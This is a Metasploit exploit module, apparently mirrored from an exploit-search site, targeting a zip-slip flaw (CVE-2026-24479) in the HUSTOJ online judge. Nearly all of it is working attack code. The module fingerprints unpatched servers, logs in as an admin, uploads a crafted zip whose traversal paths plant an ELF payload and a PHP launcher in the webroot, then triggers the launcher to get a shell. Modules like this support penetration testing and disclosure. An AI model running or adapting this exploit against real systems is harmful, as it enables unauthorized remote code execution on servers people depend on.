Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-HUSTOJ_PROBLEM_IMPORT_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'digest/md5'
# Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Retry
  include Msf::Exploit::EXE
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE',
        'Description' => <<~DESC,
          A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
          using a crafted zip file (zip-slip) to traverse backwards through the filesystem, then to the
          webroot, where they can extract a PHP file that spawns a shell to get full RCE in the
          context of the webserver.
        DESC
        'Author' => [
          'oxagast', # exploit author
          'LoTuS and friends', # chinese to english translations
          'ling101w' # original discovery
        ],
        'License' => MSF_LICENSE,
        'Arch' => [ARCH_X64],
        'References' => [
          [
            'URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \
            '/CVE-2026-24479/hustoj_problem_import_rce.rb'
          ],
          [
            'URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \
            '6899314b33101f'
          ],
          ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
          ['CVE', '2026-24479'],
          ['EDB', '52539'],
          ['CWE', '22']
        ],
        'Platform' => 'linux',
        'Targets' => [['Auto', {} ]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        },
        'DisclosureDate' => '2026-01-26'
      )
    )
    register_options(
      [
        OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
        OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", nil]),
        OptString.new('DROPFILE', [false, 'The name of the file to drop on the target (without extension)', 'RANDOM']),
        OptString.new('SERVLOC', [true, 'The location HUSTOJ is being served from', '/home/judge']),
        OptBool.new('FORCE', [false, 'Try to exploit even if it will probably fail', false]),
        OptInt.new('TRAVERSE_LIMIT', [true, 'Number of ../ traversals to include in zip slip paths', 6]),
        OptInt.new('TIME_LIMIT', [true, 'Time limit for the exploit to succeed in seconds', 60])
      ]
    )
  end

  # Authenticate as admin and return session cookies
  def login(user, pass)
    check = send_request_cgi(
      'uri' => '/include/reinfo.js',
      'method' => 'GET',
      'ctype' => 'application/javascript'
    )
    if check.nil?
      fail_with(Failure::Unreachable, 'Failed to connect to the target webserver!')
    else
      print_good("Connected to the target webserver! #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}")
    end
    # try to figure out what we are running against
    unless check && check.code == 200
      if check && check.code == 404
        print_error('Target returned 404 for /include/reinfo.js, this is not HUSTOJ!')
      else
        print_error('Target responded, but check did not pass!')
      end
      unless datastore['FORCE']
        fail_with(Failure::NotFound, 'Could not find reinfo.js. Target is not running HUSTOJ! Try FORCE.')
      end
    end
    unless check && check.code == 200 && check.body && check.body.include?('function escapeHtml(str) {') == false
      print_error('Target appears to be running HUSTOJ, but my be a patched version!')
      unless datastore['FORCE']
        print_error('Body check does not contain escapehtml function...')
        fail_with(Failure::NotVulnerable, 'Target is running a patched version of HUSTOJ!  Try FORCE.')
      end
    end
    if check && check.code == 200 && check.body && check.body.include?('var ret=pat.exec(errmsg);') && check.body.include?('function escapeHtml(str) {') == false
      print_good('Good! Target appears to be running a vulnerable version of HUSTOJ!')
    else
      print_error('Target does not appear to be running a vulnerable version of HUSTOJ!')
      unless datastore['FORCE']
        print_error('Body check does not contain pat.exec function')
        fail_with(Failure::NotFound, 'Target is not HUSTOJ or is a patched version!  Try FORCE.')
      end
    end
    send_request_cgi(
      'method' => 'POST',
      'uri' => '/login.php',
      'keep_cookies' => true,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'user_id' => user,
        'password' => Digest::MD5.hexdigest(pass)
      }
    )

    # Check if login was successful
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/modifypage.php',
      'keep_cookies' => true
    )
    # we check for userinfo.php because it doesn't exist if our login fails
    unless res && res.code == 200 && res.body && res.body.include?('userinfo.php')
      fail_with(Failure::NoAccess, 'Failed to authenticate! Check credentials.')
    end
    stars = '*' * pass.length
    print_good("Logged in successfully! #{user}:#{stars}")
    # Check if the account has admin privileges
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/admin/menu2.php',
      'keep_cookies' => true
    )
    unless res && res.code == 200 && res.body && res.body.include?('problem_import.php')
      fail_with(Failure::NoAccess, 'Authenticated but does not appear to have admin privileges!')
    end
    return true
  end

  # Upload the malicious zip payload using the admin session
  def upload_payload(zip_dat, _rand_tag, dds)
    zip_size_kb = (zip_dat.length / 1024.0).round(2)
    print_status("Uploading the payload... #{zip_size_kb}kb")
    form_data = Rex::MIME::Message.new
    # it is ncessary for the MIME type to be application/octet-stream instead of application/zip
    # for this to work when using Rex::MIME::Message, otherwise no POST req is ever made.  Not
    # entirely sure what causes this.
    form_data.add_part(zip_dat, 'application/octet-stream', nil, "form-data; name=\"fps\"; filename=\"#{datastore['DROPFILE']}.zip\"")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => '/admin/problem_import_qduoj.php',
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'data' => form_data.to_s
    )
    if res && res.code == 200
      print_good("Payload uploaded! #{datastore['DROPFILE']}.zip")
      print_status("This is where the zipslip happens... #{dds} (levels: #{datastore['TRAVERSE_LIMIT']})")
    else
      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload! Check your session and try again.')
    end
  end

  # Trigger the uploaded PHP shell to execute the payload
  def trigger_sploit(rand_tag)
    print_status("Triggering the php script... #{datastore['DROPFILE']}-#{rand_tag}.php")
    trig = send_request_raw(
      {
        'uri' => "/#{datastore['DROPFILE']}-#{rand_tag}.php",
        'method' => 'GET'
      }
    )
    if trig && trig.code == 200
      sleep(2) # give it a moment to pop the session before we ret
      return true
    end
  end

  # Clean up dropped files after exploitation
  def cleanup
    super
    # prevents the cleanup routine from running multiple times (reduses log noise)
    send_request_raw(
      {
        'uri' => "/#{datastore['DROPFILE']}-cu.php",
        'method' => 'GET'
      }
    )
    print_status('Cleaning up the payload caller and shell files...')
  end

  # Main exploit logic
  def exploit
    # Authenticate, upload, and trigger the exploit!
    if datastore['DROPFILE'] == 'RANDOM'
      datastore['DROPFILE'] = Rex::Text.rand_text_alpha(3)
    end
    opts = {
      format: 'elf'
    }
    shell_gend = generate_payload_exe(opts)
    unless datastore['DROPFILE'].match?(/\A\w+\z/)
      fail_with(Failure::BadConfig, 'DROPFILE should be alphanumeric.')
    end
    if shell_gend.empty?
      fail_with(Failure::PayloadFailed, 'Payload generation failed!  Try a different payload?')
    end
    print_good("Payload generated! #{datastore['PAYLOAD']}")
    # Generate a random tag for file uniqueness
    rand_tag = Rex::Text.rand_text_alpha(5)
    print_status("Random payload tag #{rand_tag}")
    # PHP script to call the ELF payload
    shell_caller = "<?php http_response_code(200); fastcgi_finish_request(); chmod('/tmp/#{datastore['DROPFILE']}-#{rand_tag}', 0700); system('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); ?>"
    # PHP script to clean up dropped files
    cleanup_caller = "<?php unlink('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}" \
      "-#{rand_tag}.php'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php'); ?>"
    dds = '../' * datastore['TRAVERSE_LIMIT'] # Directory traversal string for zipslip
    # Files to include in the malicious zip (zipslip paths for traversal)
    # problem_1010 in/out files can be empty, but should be in the zip to ensure serverside import
    files = [
      { data: shell_gend, fname: "#{dds}tmp/#{datastore['DROPFILE']}-#{rand_tag}" },
      { data: shell_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-#{rand_tag}.php" },
      { data: cleanup_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php" },
      { data: '{}', fname: 'problem_1010.json' },
      { data: '', fname: 'problem_1010/1.in' },
      { data: '', fname: 'problem_1010/1.out' }
    ]
    # Create the malicious zip archive
    zip_dat = Msf::Util::EXE.to_zip(files)
    fail_with(Failure::PayloadFailed, 'Zip generation failed!') if zip_dat.empty?
    print_good("Zip file generated! Files: #{files.length}")
    unless datastore['TRAVERSE_LIMIT'] >= 2
      fail_with(Failure::BadConfig, 'TRAVERSE_LIMIT should be at least 2 to ensure the zip slip can reach the root of the fs!')
    end
    unless datastore['USERNAME'] && datastore['PASSWORD']
      fail_with(Failure::BadConfig, 'USERNAME and PASSWORD must be set to an admin account!')
    end
    unless login(datastore['USERNAME'], datastore['PASSWORD']) && upload_payload(zip_dat, rand_tag, dds)
      fail_with(Failure::Unknown, 'Something strange happened in the login or upload!')
    end
    popped = retry_until_truthy(timeout: datastore['TIME_LIMIT']) do
      trigger_sploit(rand_tag)
    end
    unless popped
      fail_with(Failure::PayloadFailed, 'Failed to trigger the payload within timeout!  Check your listener?')
    end
  end
end